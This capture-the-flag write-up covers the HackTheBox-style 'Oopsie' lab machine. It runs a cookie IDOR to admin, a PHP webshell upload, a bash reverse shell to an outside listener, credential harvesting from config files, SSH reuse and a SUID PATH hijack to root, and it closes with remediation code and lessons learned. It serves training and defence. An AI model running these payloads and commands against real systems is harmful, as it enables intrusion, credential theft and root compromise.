TL;DR
Oopsie is a Linux box running an MegaCorp Automotive web portal. Authentication uses cookies without server-side sessions — change role=guest to role=admin and user to the super admin’s ID (found via IDOR in the Accounts section) and you have admin access. A PHP webshell upload → www-data shell. Credentials in a PHP config file give SSH as robert. A SUID binary (bugtracker) calls cat via system() without a full path — classic PATH hijack gives root.
Recon
1. Connectivity
$ ping -c 3 10.129.37.209
# TTL=63 (Linux, 1 hop) — machine is up
2. Port scan
$ nmap -Pn --top-ports 100 -T4 -sV 10.129.37.209
22/tcp open OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open Apache httpd 2.4.29
Only SSH and HTTP. OS fingerprint: Ubuntu 18.04.
Network issue: Initial HTTP requests hung — VPN MTU fragmentation. Large PHP responses (>1200B) were silently dropped. Fix:
tun-mtu 1200+mssfix 1000in OpenVPN config. After restart, everything worked.
3. Web reconnaissance
/ → PHP login page (MegaCorp Automotive)
/cdn-cgi/login/ → Login with Guest option
/uploads/ → 403 Forbidden
/css/ → 403 Forbidden
The HTML source of the login page contains a comment revealing the site’s internal URL structure and a hint about cookie-based auth.
Web Exploitation
4. Guest login and IDOR discovery
The login page at /cdn-cgi/login/ has a “Login as Guest” option — no credentials required:
$ curl -c cookies.txt "http://10.129.37.209/cdn-cgi/login/index.php?guest=true" -L
# Sets cookies: user=2233; role=guest
Browsing as guest exposes navigation items: Upload, Accounts, Branding. The Uploads section returns: “This action requires super admin rights.”
The Accounts section is accessible as guest and lists user records:
| User ID | Username | Access Level |
|---|---|---|
| 1 | admin | Admin |
| 34322 | super admin | Super Admin |
5. Cookie IDOR → super admin
The application trusts cookie values without server-side session verification. Modifying the cookie to the super admin’s ID grants full access:
$ curl -b "user=34322; role=admin" \
"http://10.129.37.209/cdn-cgi/login/admin.php?content=uploads"
# Returns the upload form — no rejection
6. PHP webshell upload
The upload section accepts PHP files (no extension filtering):
<?php system($_GET['cmd']); ?>
$ curl -b "user=34322; role=admin" \
-F "file=@shell.php" \
"http://10.129.37.209/cdn-cgi/login/admin.php?content=upload&action=upload"
# → Upload successful
Uploaded files land at /uploads/:
$ curl "http://10.129.37.209/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
7. Reverse shell
# Attacker: nc -lvnp 4444
$ curl "http://10.129.37.209/uploads/shell.php" \
--get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.45/4444 0>&1'"
# Shell received:
www-data@oopsie:/var/www/html/uploads$
Lateral Movement — www-data → robert
8. Credentials in PHP config
www-data@oopsie:/var/www/html$ grep -r "password\|passwd\|db_pass" . 2>/dev/null
./cdn-cgi/login/db.php:$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
Credentials found: robert:M3g4C0rpUs3r!
$ ssh robert@10.129.37.209
robert@oopsie:~$ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981
Privilege Escalation — robert → root
9. SUID binary discovery
robert@oopsie:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/bugtracker
# (standard Linux SUID binaries omitted for clarity)
bugtracker is SUID root and not a standard system binary.
10. Binary analysis with strings
robert@oopsie:~$ strings /usr/bin/bugtracker
...
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
cat /root/reports/
...
The binary calls cat without a full path: system("cat /root/reports/<input>"). Since the binary runs as root (SUID), any subprocess also inherits root privileges.
11. PATH hijack → root shell
robert@oopsie:~$ cd /tmp
robert@oopsie:/tmp$ printf '#!/bin/bash\n/bin/bash\n' > cat
robert@oopsie:/tmp$ chmod +x cat
robert@oopsie:/tmp$ export PATH=/tmp:$PATH
robert@oopsie:/tmp$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1
root@oopsie:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(robert)
root@oopsie:/tmp# cat /root/root.txt
af13b0bee69f8a877c3faf667f7beacf
What’s actually broken
| # | Vulnerability | Severity | Root Cause |
|---|---|---|---|
| 1 | Cookie-based auth without server sessions (IDOR) | High | $_COOKIE['user'] trusted without validation |
| 2 | Unrestricted PHP file upload | High | No MIME type or extension validation |
| 3 | Credentials hardcoded in PHP source | Medium | db.php contains plaintext DB password |
| 4 | SUID binary calling cat via relative PATH | Critical | system("cat ...") — no absolute path |
| 5 | Guest access exposes user ID enumeration | Medium | Accounts section accessible without real auth |
Remediation
Fix cookie-based IDOR: Implement server-side sessions:
// Instead of: if ($_COOKIE['role'] == 'admin')
// Use:
session_start();
if (!isset($_SESSION['user_id']) || $_SESSION['role'] !== 'admin') {
http_response_code(403);
exit('Forbidden');
}
Restrict file uploads to safe types:
$allowed = ['image/png', 'image/jpeg', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed)) {
die('Only images allowed');
}
// Also validate by magic bytes, not just MIME header
Fix the SUID binary: Use absolute paths:
// Bad:
system("cat /root/reports/1");
// Good:
execl("/bin/cat", "cat", report_path, NULL);
// Or validate input and use absolute path:
execlp("/bin/cat", "/bin/cat", full_path, NULL);
Remove SUID from custom binaries unless strictly necessary:
# chmod u-s /usr/bin/bugtracker
Lessons learned
- Cookie auth without sessions is always IDOR-vulnerable. If the server trusts client-supplied
user=IDwithout a server-side token, the “auth” is trivially bypassable. Standard pattern: session token maps to user on the server, never trust client-side role data. - MTU fragmentation breaks HTTP invisibly. VPN tunnels often have lower MTU than the physical interface. TCP handshake succeeds (small packets) but HTTP bodies are silently dropped (large packets). The symptom is “GET requests hang forever.” Solution:
tun-mtu 1200in OpenVPN config. - SUID binaries that shell out are always exploitable. Any
system(),popen(), orexec()call in a SUID binary that uses relative command names (cat,ls,python) is PATH-hijackable. The fix is always absolute paths. - grep the web app for credentials first. Before complex exploitation paths,
grep -r password /var/wwwoften finds DB credentials that unlock SSH or lateral movement.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Fixed MTU before enumerating further | HTTP requests were hanging — can’t enumerate what you can’t load | Correct; solved all subsequent web requests |
| Enumerated Accounts page before trying upload | Needed super admin ID to escalate cookie privilege | Correct order |
| Used cookie modification in curl | Simpler than browser devtools for scripted testing | Worked cleanly |
| Used PATH hijack instead of path traversal | strings showed relative cat call, not controllable path | Correct; traversal was a red herring |
| Stayed as robert for privesc (not www-data) | SSH as robert gave TTY; www-data shell was unstable | Better shell stability |
| Attempted path traversal in bugtracker report ID field | Input: ../root.txt → cat /root/reports/../root.txt executed but returned empty — path canonicalized, /root/root.txt exists but bugtracker ran as robert, not root yet | Realized exploit was PATH hijack: create /tmp/cat script, export PATH=/tmp:$PATH, re-run bugtracker — binary is SUID root so /tmp/cat runs with UID 0 |